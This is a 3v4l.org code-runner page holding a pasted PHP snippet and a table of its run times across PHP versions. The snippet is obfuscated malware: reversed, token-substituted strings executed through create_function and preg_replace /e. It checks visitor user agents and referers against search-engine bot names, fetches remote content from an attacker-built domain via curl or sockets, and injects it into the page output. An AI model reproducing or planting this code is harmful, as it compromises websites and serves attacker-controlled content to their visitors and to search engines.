3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $slv = "strrev"; $s1v ="create_function"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); $after = preg_replace("/(.*)/e",str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)); echo $after;

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00016.63
8.3.50.0150.00822.10
8.3.40.0120.00318.80
8.3.30.0100.01018.79
8.3.20.0040.00420.36
8.3.10.0040.00423.65
8.3.00.0080.00019.79
8.2.180.0090.00617.00
8.2.170.0070.00722.96
8.2.160.0100.00320.39
8.2.150.0030.00624.18
8.2.140.0000.00824.66
8.2.130.0040.00426.16
8.2.120.0040.00419.66
8.2.110.0060.00320.94
8.2.100.0090.00317.63
8.2.90.0060.00319.08
8.2.80.0050.00317.97
8.2.70.0000.00817.63
8.2.60.0030.00717.80
8.2.50.0050.00318.07
8.2.40.0030.00519.28
8.2.30.0000.00819.79
8.2.20.0080.00017.61
8.2.10.0000.00817.99
8.2.00.0020.00517.98
8.1.280.0070.01325.92
8.1.270.0100.01020.36
8.1.260.0000.00826.35
8.1.250.0050.00328.09
8.1.240.0060.00323.83
8.1.230.0040.00817.42
8.1.220.0050.00317.74
8.1.210.0030.00518.77
8.1.200.0050.00517.23
8.1.190.0070.00317.23
8.1.180.0080.00018.10
8.1.170.0040.00418.49
8.1.160.0040.00421.89
8.1.150.0070.00018.79
8.1.140.0040.00417.39
8.1.130.0030.00617.45
8.1.120.0000.00717.47
8.1.110.0040.00417.46
8.1.100.0070.00017.38
8.1.90.0000.00717.36
8.1.80.0000.00717.33
8.1.70.0000.00717.33
8.1.60.0040.00417.56
8.1.50.0030.00617.54
8.1.40.0030.00517.49
8.1.30.0050.00317.77
8.1.20.0000.00717.64
8.1.10.0040.00417.56
8.1.00.0040.00417.57
8.0.300.0000.00718.77
8.0.290.0040.00416.75
8.0.280.0030.00318.30
8.0.270.0040.00417.14
8.0.260.0000.00716.88
8.0.250.0000.00716.89
8.0.240.0060.00017.01
8.0.230.0070.00317.05
8.0.220.0000.00716.83
8.0.210.0040.00416.78
8.0.200.0000.00717.01
8.0.190.0120.00016.93
8.0.180.0000.00816.90
8.0.170.0050.00316.84
8.0.160.0000.00716.96
8.0.150.0040.00416.92
8.0.140.0000.00716.83
8.0.130.0000.00613.36
8.0.120.0040.00416.89
8.0.110.0000.00816.96
8.0.100.0040.00416.86
8.0.90.0040.00416.86
8.0.80.0040.01116.99
8.0.70.0070.00016.81
8.0.60.0070.00017.01
8.0.50.0070.00017.05
8.0.30.0120.00517.23
8.0.20.0190.00617.40
8.0.10.0040.00417.10
8.0.00.0090.00816.82
7.4.330.0000.00515.08
7.4.320.0000.00616.35
7.4.300.0030.00316.42
7.4.290.0070.00016.53
7.4.280.0000.00716.59
7.4.270.0070.00016.51
7.4.260.0070.00016.47
7.4.250.0070.00016.56
7.4.240.0040.00416.41
7.4.230.0000.00816.59
7.4.220.0110.00716.67
7.4.210.0040.01016.51
7.4.200.0070.00016.52
7.4.160.0070.01016.60
7.4.150.0120.00917.40
7.4.140.0110.00617.86
7.4.130.0080.01016.47
7.4.120.0120.00816.46
7.4.110.0120.00616.61
7.4.100.0090.01516.49
7.4.90.0100.01316.53
7.4.80.0060.01119.39
7.4.70.0060.00916.36
7.4.60.0030.01316.43
7.4.50.0050.00316.46
7.4.40.0070.01316.50
7.4.30.0120.00616.35
7.4.00.0070.01015.08
7.3.330.0030.00313.16
7.3.320.0030.00313.04
7.3.310.0070.00016.24
7.3.300.0030.00516.32
7.3.290.0080.00916.30
7.3.280.0120.00716.33
7.3.270.0120.00617.40
7.3.260.0110.00716.53
7.3.250.0090.01216.31
7.3.240.0100.00716.25
7.3.230.0090.01016.39
7.3.210.0100.00716.36
7.3.200.0180.00016.41
7.3.190.0130.01016.20
7.3.180.0100.00616.27
7.3.170.0060.00916.36
7.3.160.0130.00316.34
7.3.120.0040.01115.03
7.3.110.0050.01114.64
7.3.100.0060.00914.81
7.3.90.0030.01014.76
7.3.80.0060.00614.89
7.3.70.0060.00614.78
7.3.60.0070.00714.67
7.3.50.0060.00314.86
7.3.40.0070.00714.94
7.3.30.0060.00314.61
7.3.20.0030.01316.43
7.3.10.0110.00816.51
7.3.00.0120.00916.57
7.2.330.0060.01216.64
7.2.320.0070.01016.43
7.2.310.0120.00316.73
7.2.300.0090.00616.84
7.2.290.0100.01316.52
7.2.250.0080.01115.28
7.2.240.0160.00315.25
7.2.230.0100.00714.95
7.2.220.0040.01114.95
7.2.210.0070.00714.97
7.2.200.0040.01414.93
7.2.190.0030.01314.91
7.2.180.0030.00814.73
7.2.170.0040.01114.91
7.2.130.0180.00916.34
7.2.120.0080.01916.52
7.2.110.0100.01416.04
7.2.100.0180.00616.79
7.2.90.0130.00716.24
7.2.80.0190.00416.66
7.2.70.0150.01216.27
7.2.60.0060.00916.44
7.2.50.0200.00816.41
7.2.40.0170.00716.27
7.2.30.0180.00416.46
7.2.20.0090.00616.60
7.2.10.0150.00416.64
7.2.00.0050.01217.77
7.1.330.0040.01115.68
7.1.320.0070.00315.95
7.1.310.0090.00615.76
7.1.300.0070.00415.53
7.1.290.0070.00715.65
7.1.280.0060.00915.61
7.1.270.0110.00315.90
7.1.260.0000.00915.82
7.1.250.0210.00915.62
7.1.200.0030.00915.62
7.1.100.0030.01017.82
7.1.70.0050.00517.23
7.1.60.0070.01319.27
7.1.50.0030.01916.98
7.1.00.0070.07322.48
7.0.200.0070.00416.61
7.0.60.0030.04319.83
7.0.50.0130.07317.94
7.0.40.0100.08320.40
7.0.30.0500.05320.18
7.0.20.0300.05020.09
7.0.10.0270.05020.30
7.0.00.0130.05720.19
5.6.280.0030.06320.96
5.6.210.0030.08320.48
5.6.200.0000.07018.15
5.6.190.0070.06020.32
5.6.180.0230.05020.39
5.6.170.0100.09020.50
5.6.160.0070.05320.41
5.6.150.0100.07018.18
5.6.140.0030.09018.12
5.6.130.0030.04018.18
5.6.120.0070.08321.00
5.6.110.0100.06720.96
5.6.100.0030.09020.98
5.6.90.0000.06320.98
5.6.80.0200.04320.41
5.6.70.4600.03720.53
5.5.350.0070.09720.43
5.5.340.0030.08317.86
5.5.330.0130.08020.21
5.5.320.0170.04720.21
5.5.310.0300.08020.23
5.5.300.0030.05318.01
5.5.290.0030.04017.92
5.5.280.0070.08320.87
5.5.270.0030.04320.77
5.5.260.0130.07720.98
5.5.250.0130.07320.62
5.5.240.0070.07720.15
5.4.450.0930.05719.10
5.4.440.1100.07019.54
5.4.430.0830.05319.59
5.4.420.0800.06319.12
5.4.410.0800.05719.40
5.4.400.0770.06319.25
5.4.390.0800.05318.94
5.4.380.0800.04719.16
5.4.370.0670.06019.14
5.4.360.0900.05719.29
5.4.350.0730.05319.08
5.4.340.0530.07019.08
5.4.320.0600.06019.16
5.4.310.0330.05719.09
5.4.300.0470.04319.11
5.4.290.0570.05719.09
5.4.280.0630.06019.23
5.4.270.0600.05019.21
5.4.260.0400.05319.18
5.4.250.0130.05319.24
5.4.240.0130.07019.15
5.4.230.0800.05319.24
5.4.220.0730.07719.20
5.4.210.0100.07718.92
5.4.200.0300.06719.24
5.4.190.0470.05319.12
5.4.180.0770.05319.12
5.4.170.0670.06318.80
5.4.160.0700.05019.12
5.4.150.0600.06719.19
5.4.140.0230.05716.30
5.4.130.0300.05316.24
5.4.120.0630.04716.32
5.4.110.0600.05316.46
5.4.100.0900.05716.36
5.4.90.0500.05016.45
5.4.80.0170.04716.53
5.4.70.0230.07316.17
5.4.60.0370.06316.20
5.4.50.0030.05716.36
5.4.40.0130.03316.20
5.4.30.0030.07316.40
5.4.20.0070.06716.05

preferences:
47.8 ms | 401 KiB | 5 Q